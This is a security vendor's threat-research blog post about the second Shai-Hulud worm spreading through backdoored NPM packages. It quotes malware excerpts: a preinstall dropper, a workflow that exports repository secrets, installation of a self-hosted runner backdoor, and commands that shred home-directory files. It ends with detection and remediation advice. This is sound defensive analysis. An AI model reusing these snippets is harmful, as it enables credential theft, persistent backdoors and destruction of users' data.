惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

The Register - Security
The Register - Security
Cisco Talos Blog
Cisco Talos Blog
P
Proofpoint News Feed
Vercel News
Vercel News
Microsoft Security Blog
Microsoft Security Blog
GbyAI
GbyAI
C
Check Point Blog
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
Y
Y Combinator Blog
V
Visual Studio Blog
H
Help Net Security
H
Hackread – Cybersecurity News, Data Breaches, AI and More
Stack Overflow Blog
Stack Overflow Blog
The Cloudflare Blog
The Last Watchdog
The Last Watchdog
博客园 - 司徒正美
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
Apple Machine Learning Research
Apple Machine Learning Research
SecWiki News
SecWiki News
博客园 - 叶小钗
V
Vulnerabilities – Threatpost
cs.CL updates on arXiv.org
cs.CL updates on arXiv.org
IT之家
IT之家
cs.AI updates on arXiv.org
cs.AI updates on arXiv.org
罗磊的独立博客
C
CXSECURITY Database RSS Feed - CXSecurity.com
V2EX - 技术
V2EX - 技术
T
The Blog of Author Tim Ferriss
小众软件
小众软件
The GitHub Blog
The GitHub Blog
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
D
DataBreaches.Net
L
LINUX DO - 热门话题
大猫的无限游戏
大猫的无限游戏
V
V2EX
Latest news
Latest news
NISL@THU
NISL@THU
Last Week in AI
Last Week in AI
Spread Privacy
Spread Privacy
云风的 BLOG
云风的 BLOG
S
Secure Thoughts
W
WeLiveSecurity
S
Security @ Cisco Blogs
C
CERT Recently Published Vulnerability Notes
AWS News Blog
AWS News Blog
I
InfoQ
A
About on SuperTechFans
K
Kaspersky official blog
Security Latest
Security Latest
P
Proofpoint News Feed

Sysdig Blog

Masterclass: AI is more than ChatGPT and LLMs CVE-2026-39987 update: How attackers weaponized marimo to deploy a blockchain botnet via HuggingFace Kubernetes 1.36 - New security features 5 steps to securing AI workloads Marimo OSS Python Notebook RCE: From Disclosure to Exploitation in Under 10 Hours Security briefing: March 2026 The Sysdig MCP server is now available in AWS Marketplace Risk isn’t reduced until you take action: How teams resolve issues in the cloud AI infrastructure security: Why it deserves its own category Three pillars for building effective runtime-powered cloud defense, the right way Closing the cloud security gap with runtime security Seeing risk isn’t stopping it: Why visibility alone isn’t enough TeamPCP expands: Supply chain compromise spreads from Trivy to Checkmarx GitHub Actions AI coding agents are running on your machines — Do you know what they're doing? Runtime security for AI coding agents: Protecting AI-assisted development How runtime insights power every cloud security use case CVE-2026-33017: How attackers compromised Langflow AI pipelines in 20 hours Inline Cloud Response: Accelerating AWS threat containment for SOC teams Runtime malware detection for AWS Fargate Detecting CVE-2026-3288 & CVE-2026-24512: Ingress-nginx configuration injection vulnerabilities for Kubernetes Malware detection with Sysdig Security briefing: February 2026 Leveling up Kubernetes Posture: From baselines to risk-aware admission Eliminating runtime blind spots: How CleanStart and Sysdig build continuous trust across the container lifecycle LLMjacking: From Emerging Threat to Black Market Reality Real risks live at runtime: Why CISOs must care about deep telemetry in 2026 Sysdig named a Leader in the Forrester Wave™: Cloud Native Application Protection Solutions, Q1 2026 How to run rootless containers AI-assisted cloud intrusion achieves admin access in 8 minutes Security briefing: January 2026 Securing GPU-accelerated AI workloads in Oracle Kubernetes Engine Bringing OSS runtime security to AWS: Falco integration with AWS Security Hub CSPM Our customers have spoken: Sysdig rated a Strong Performer in Gartner® Voice of the Customer for Cloud-Native Application Protection Platforms Protecting sensitive business data in preparation for the organization's Gen AI VoidLink threat analysis: Sysdig discovers C2-compiled kernel rootkits AI is still a workload: A practical guide to securing AI workloads How threat actors are using self-hosted GitHub Actions runners as backdoors How Sysdig Sage delivers AI-powered, real-world vulnerability management Security briefing: December 2025 Top 10 ways to get breached in 2026 EtherRAT dissected: How a React2Shell implant delivers 5 payloads through blockchain C2 Introducing runtime file integrity monitoring and response with Sysdig FIM How to detect multi-stage attacks with runtime behavioral analytics EtherRAT: DPRK uses novel Ethereum implant in React2Shell attacks Detecting React2Shell: The maximum-severity RCE vulnerability affecting React Server Components and Next.js The rise of AI agents: How autonomous AI Is transforming cloud security Kubernetes 1.35 - New security features The Urgency of Securing AI Workloads for CISOs Security briefing: November 2025 Quantum and the cloud: Science fiction turned security strategy Cloud security, the right way: What the industry should demand (and why "good enough" isn't) Detecting CVE-2024-1086: The decade-old Linux kernel vulnerability that’s being actively exploited in ransomware campaigns What’s old is new again: How to demystify AI security with AIBOMs Securing Kubernetes with agentic cloud security How agentic cloud security reduces real risks Hunting reverse shells: How the Sysdig Threat Research Team builds smarter detection rules Shifting left with AI and MCP: Sysdig + Amazon Q Developer How Falco and Stratoshark close the gap between open source runtime detection and deep forensic analysis Investigating security issues with ChatGPT and the GitHub MCP server New runc vulnerabilities allow container escape: CVE-2025-31133, CVE-2025-52565, CVE-2025-52881 Harden your LLM security with OWASP Security briefing: October 2025 How agentic AI is changing cloud security Kubernetes Incident Response: Detect, investigate, and contain in under 10 minutes Sysdig recognized as a Cloud Security Leader in Latio Tech Cloud Security Market Report AI echolocation of cloud risks using Sysdig & Snyk MCP servers Sysdig MCP Server: Bridging AI and cloud security insights Understanding CVE-2025-49844: “RediShell” Critical Remote Code Execution in Redis How Sysdig secures your containers and Kubernetes Sysdig Security Briefing: September 2025 Cloud security, the right way: The 3 pillars of real-time defense Open source spotlight: Bringing web application security to Falco with Falcoya's Nginx plugin Malicious NPM packages: Are you exposed? AI for SOC teams: 5 cloud security prompts to start your day with Sysdig Sage™ Shai-Hulud: The novel self-replicating worm infecting hundreds of NPM packages ZynorRAT technical analysis: Reverse engineering a novel, Turkish Go-based RAT Modern vulnerability management, built for the cloud Build your AWS incident response playbook with open source tools 2025 Gartner® CNAPP Market Guide: Runtime visibility is no longer optional Threat hunting with Sysdig: Uncovering “IngressNightmare” Open source spotlight: From alerts to action with AI-powered Falco Vanguard From triage to action: How Sysdig’s agentic cloud security platform slashes noise and accelerates remediation The vision comes to life: Agentic cloud security with Sysdig Sage™ Data security findings: A technical deep dive Connecting runtime to source: Sysdig and Semgrep integration Fix what matters, faster: How Sysdig and Semgrep are unifying security without silos – from code to runtime Defending sensitive data with Sysdig Secure Redefining cloud security, the right way Join the movement: The Sysdig Open Source Community is live A smarter, safer cloud in the age of AI Unifying detection and response: Sysdig + Cortex XSOAR for security at cloud speed The future of security is open, and it needs a unified hub: The Sysdig Open Source Community is here CVE-2025-53104: Command injection via GitHub Actions workflow in gluestack-ui Why MCP server security is critical for AI-driven enterprises What’s new in Sysdig — June 2025 AI-powered CNAPP with Sysdig Sage™ Revolutionizing Cybersecurity Search with Sysdig Sage™ Sysdig Threat Bulletin: Iranian Cyber Threats The end of the prioritization-only era: Vulnerability management needs action Dangerous by default: Insecure GitHub Actions found in MITRE, Splunk, and other open source repositories
Return of the Shai-Hulud worm affects over 25,000 GitHub repositories
Alberto Pellitteri · 2025-11-24 · via Sysdig Blog

On November 24, 2025, a new version of the Shai-Hulud worm (also spelled Sha1-Hulud) began to propagate across the internet using backdoored NPM packages. So far, it has affected nearly 1,000 packages and leaked credentials for over 25,000 GitHub repositories. The breadth and scope of victim impact brought on by this new instance of the worm has surpassed its previous incarnation by using a variety of new methods.

Once executed, Shai-Hulud steals credentials, exfiltrates them, and attempts to find additional NPM packages in which to copy itself. The malicious code also attempts to delete files and directories on the system on which it is run, and achieve persistence on victims’ machines by installing a self-hosted GitHub Action runner. However, organizational security teams can detect Shai-Hulud at runtime through its suspicious connections and executions spawned from NPM install commands.

The Sysdig Threat Research Team (TRT) has analyzed how this second version of Shai-Hulud differs from its predecessor, how it operates, and how affected users can best detect and mitigate it. Our full findings are detailed below.

Shai-Hulud: The second coming

While the overall campaign and goal of the new iteration of the Shai-Hulud worm resembles its previous campaign, the difference is in the details, as the worm's creator has introduced some new notable functionality.

Unlike the previous version, which executed during the post-install phase, the updated Shai-Hulud worm executes during pre-installation:

{
...
  "scripts": {
    "preinstall": "node setup_bun.js"
  }
...
}

The “setup_bun.js” is a simple JavaScript that acts as a dropper for the next malicious steps involved by the attackers. It checks if “bun” — a popular JavaScript runtime and toolkit for modern web development — is already installed on the victim’s machine. If not, it first downloads “bun” and then uses it to run another JS file, this time named “bun_environment.js.” 

async function downloadAndSetupBun() {
  try {
    let command;
    if (process.platform === 'win32') {
      // Windows: Use PowerShell script
      command = 'powershell -c "irm bun.sh/install.ps1|iex"';
    } else {
      // Linux/macOS: Use curl + bash script
      command = 'curl -fsSL https://bun.sh/install | bash';
    }
const environmentScript = path.join(__dirname, 'bun_environment.js');
  if (fs.existsSync(environmentScript)) {
    runExecutable(bunExecutable, [environmentScript]);
  } else {
    process.exit(0);
}

This second JS code, already packed into the affected NPM packages, contains approximately 10 MB of obfuscated malicious code. This includes many modules to leverage GitHub, AWS, GCP, Azure, TruffleHog, and other functionalities.

The malicious script in this new version of Shai-Hulud makes some distinctions to run in CI environments or on developers’ machines. In the latter case, the original process terminates cleanly without raising any messages or errors, but only after a new silent, identical execution of the script has been launched under the hood.

if (process.env.BUILDKITE || process.env.PROJECT_ID || process.env.GITHUB_ACTIONS || process.env.CODEBUILD_BUILD_NUMBER || process.env.CIRCLE_SHA1) {
    await aL0(); // malicious execution
  } else {
    if (process.env.POSTINSTALL_BG !== '1') {
      let _0x4a3fc4 = process.execPath;
      if (process.argv[0x1]) {
        Bun.spawn([_0x4a3fc4, process.argv[0x1]], { 'env': { ...process.env,'POSTINSTALL_BG': '1'}}).unref();
        return;
      }
    }
    try {
      await aL0(); // malicious execution
    } 
  }

The malicious code is then triggered by invoking the aL0() function, where it starts by determining the kind of system on which it’s running. It then proceeds to collect the data it will need to further conduct its execution.

At this point, the Shai-Hulud worm checks if the NPM token is available in the environment variables. If the token is not found, the malware also searches for the token in the .npmrc file in the current working directory and in the home directory. Finding this secret is essential for the malware to propagate itself using the NPM package registry. If this token is found, the malware tries to validate it, gets the packages managed by its owner, and updates the top 100 by monthly downloads. 

If an authenticated GitHub user is found, the worm creates a new public repository. In this version, the GitHub repository name won’t be static, such as “Shai-Hulud,” which was used in the previous campaign. Instead, the name will be randomly generated, with a fixed length of 18 characters. The description of the repository will be instead: "Sha1-Hulud: The Second Coming." The name and description are easily searchable using GitHub.

Repository description: "Sha1-Hulud: The Second Coming."

During execution, the worm collects interesting credentials or environment variables to be later exfiltrated into the newly created repository. It also uses AWS, GCP, and Azure modules to not only look for secrets, but also run Trufflehog in search of interesting data on the filesystem. 

...
if (_0x1b7dd4.isAuthenticated()) {
    await _0x1b7dd4.createRepo(tL0());
}
...
​​function tL0() {
  return Array.from({
    'length': 0x12
  }, () => Math.random().toString(0x24).slice(0x2, 0x3)).join('');
}
...
async ["createRepo"](_0x4c7ff4, _0x128783 = "Sha1-Hulud: The Second Coming.", _0x20067d = false) {
    ...
    try {
      let _0xc8701c = (await this.octokit.rest.repos.createForAuthenticatedUser({
        'name': _0x4c7ff4,
        'description': _0x128783,
        'private': _0x20067d,
        'auto_init': false,
        'has_issues': false,
        'has_discussions': true,
        'has_projects': false,
        'has_wiki': false
      })).data;
...
}

What is even more interesting this time is that the malware introduces new functionalities and checks. The newly created repository secretly installs a self-hosted GitHub Actions runner on the victim's compromised machine that the attacker can control. In Linux, this runner is installed at “~/.dev-env” and executed in the background using the “nohup” command.  Next, the runner is connected with the newly created GitHub repository using a registration token.

At the same time, the attacker also adds a GitHub workflow called “.github/workflows/discussion.yaml” into the repository. This workflow is vulnerable to injection and can be exploited to run arbitrary commands on the system where the runner was installed. This effectively acts as a backdoor into the compromised system.

...
let _0x3e4549 = {
    'aws': {
      'secrets': await _0x30fddc.runSecrets()
    },
    'gcp': {
      'secrets': await _0x79b1b9.listAndRetrieveAllSecrets()
    },
    'azure': {
      'secrets': await _0x8fa8f.listAndRetrieveAllSecrets()
    }
  };
  let _0x584734 = _0x1b7dd4.saveContents("cloud.json", JSON.stringify(_0x3e4549), "Add file");
...

Unlike the previous version, if no NPM token has been found, the attacker will delete the writable files and folders from the user’s home directory. In Linux, this operation occurs using the shred command, so that files are overwritten with random data and are unrecoverable. 

...
if (a0_0x5a88b3.platform() === 'linux') {
await Bun.$`mkdir -p $HOME/.dev-env/`;
     await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
     await Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
     await Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${_0x349291}/${_0x2b1a39} --unattended --token ${_0x1489ec} --name "SHA1HULUD"`.cwd(a0_0x5a88b3.homedir + "/.dev-env").quiet();
     await Bun.$`rm actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir + "/.dev-env");
     Bun.spawn(["bash", '-c', "cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
}
...
await this.octokit.request("PUT /repos/{owner}/{repo}/contents/{path}", {
              'owner': _0x349291,
              'repo': _0x2b1a39,
              'path': ".github/workflows/discussion.yaml",
              'message': "Add Discusion",
              'content': Buffer.from("\nname: Discussion Create\non:\n  discussion:\njobs:\n  process:\n    env:\n      RUNNER_TRACKING_ID: 0\n    runs-on: self-hosted\n    steps:\n      - uses: actions/checkout@v5\n      - name: Handle Discussion\n        run: echo ${{ github.event.discussion.body }}\n").toString("base64"),
              'branch': 'main'
            });
...

If valid GitHub credentials are found, the malicious code iterates over all repositories that have been updated since “2025-06-01T00:00:00Z”​ and to which the user has access as an owner or collaborator. If any are found, the worm tries to exfiltrate those GitHub secrets.

To exfiltrate secrets, the worm creates a new branch on each repository found. This branch includes a workflow file called “.github/workflows/formatter_123456789.yml” that gets triggered on “push” to extract the GitHub secrets available. Once the corresponding action runs, the malicious code will asynchronously wait for the returned results so it can exfiltrate those secrets in the previously created GitHub public repository.

...
      if (_0x4692e0) {
// if NPM token was found -> update the packages owned by the maintainer and push them into NPM
        await El(_0x4692e0);
      } else {
// delete all the files writable by the current user in the HOME folder and wipes out all the folders into it
        console.log("Error 12");
        if (_0x46410c.platform === "windows") {
          Bun.spawnSync(["cmd.exe", '/c', "del /F /Q /S \"%USERPROFILE%*\" && for /d %%i in (\"%USERPROFILE%*\") do rd /S /Q \"%%i\" & cipher /W:%USERPROFILE%"]);
        } else {
          Bun.spawnSync(["bash", '-c', "find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | xargs -0 -r shred -uvz -n 1 && find \"$HOME\" -depth -type d -empty -delete"]);
        }
        process.exit(0x0);
      }
...

Once the secrets from the GitHub repository have been retrieved, the code also wipes out any evidence of its execution. It will also delete the previously triggered GitHub action, as well as the GitHub branch that was used to create the workflow. 

...
// branch name
let _0x27a22e = "add-linter-workflow-" + Date.now();
// content added to the new branch
let _0x222423 = Buffer.from("\nname: Code Formatter\non:\n  push\njobs:\n  lint:\n    runs-on: ubuntu-latest\n    env:\n      DATA: ${{ toJSON(secrets)}}\n    steps:\n      - uses: actions/checkout@v5\n      - name: Run Formatter\n        run: |\n          cat <<EOF > format.json\n          $DATA\n          EOF\n      - uses: actions/upload-artifact@v5\n        with:\n          path: format.json\n          name: formatting\n", "utf8").toString("base64");
      await this.octokit.request("PUT /repos/{owner}/{repo}/contents/{path}", {
        'owner': _0x10c657,
        'repo': _0x43812f,
        'path': ".github/workflows/formatter_123456789.yml",
        'message': "Add formatter workflow",
        'content': _0x222423,
        'branch': _0x27a22e
      });

...

The impact of the second Shai-Hulud campaign

At the time of this writing, Shai-Hulud has trojaned over 800 NPM packages and exfiltrated credentials from tens of thousands of GitHub repositories. This version of the worm has also leaked a greater amount of data than its predecessor. 

Additionally, Shai-Hulud creates these base64 double-encoded files in the new GitHub repository that hold the data:

  • cloud.json, containing found AWS, GCP, and Azure secrets.
  • environment.json, containing the environment variables found in the victim’s machine.
  • contents.json, with the machine OS details, architecture, username, hostname, and the GitHub token.
  • truffleSecrets.json, containing the secrets found by Trufflehog.
  • actionsSecrets.json, which contains the GitHub secrets retrieved from the other GitHub repositories to which the victim had access, using a malicious exfiltrating workflow.

Detecting Shai-Hulud v1 and v2

Sysdig Secure customers can leverage runtime detections with the Network Tool Executed During NPM Install and Instance Metadata Service Contacted During Package Install rules to detect Shai-Hulud. These rules can be found in the Sysdig Runtime Threat Detection policies. They flag suspicious connections and executions spawned from NPM install commands — in this case, from the payload bun_environment.js being executed.

The Sysdig Threat Intelligence news feed has also been updated to include new queries for the affected packages. Just go to Home → Threat Intelligence to check if your hosts or images have any of the affected packages installed.

Remediation steps

Users affected by Shai-Hulud should remove and replace any compromised packages immediately. They should also clear their NPM cache, then pin any dependencies to known clean versions or roll back to builds from before the incident.

Additionally, affected users should rotate all credentials that may have been exposed. This means revoking and regenerating NPM tokens, GitHub PATs, any cloud provider credentials, and any other credentials that may have been exposed. 

Furthermore, users should conduct an audit of their GitHub and CI/CD environments. They should search for any newly created repositories containing "Sha1-Hulud" in the description, and review their workflows and commit history for unauthorized changes. Users should keep an eye on NPM for any unexpected publishes outside of their organization's scope.

Conclusion

The rising frequency of supply chain attacks makes monitoring third-party packages for malicious activity more critical than ever. Given the varied methods for concealing malicious code, runtime threat detection is essential for detecting and mitigating these attacks. Both Falco and Sysdig Secure provide runtime visibility and detection capabilities. However, Sysdig Secure also offers enhanced detections and an inventory system, which simplifies identifying environments affected by malicious packages.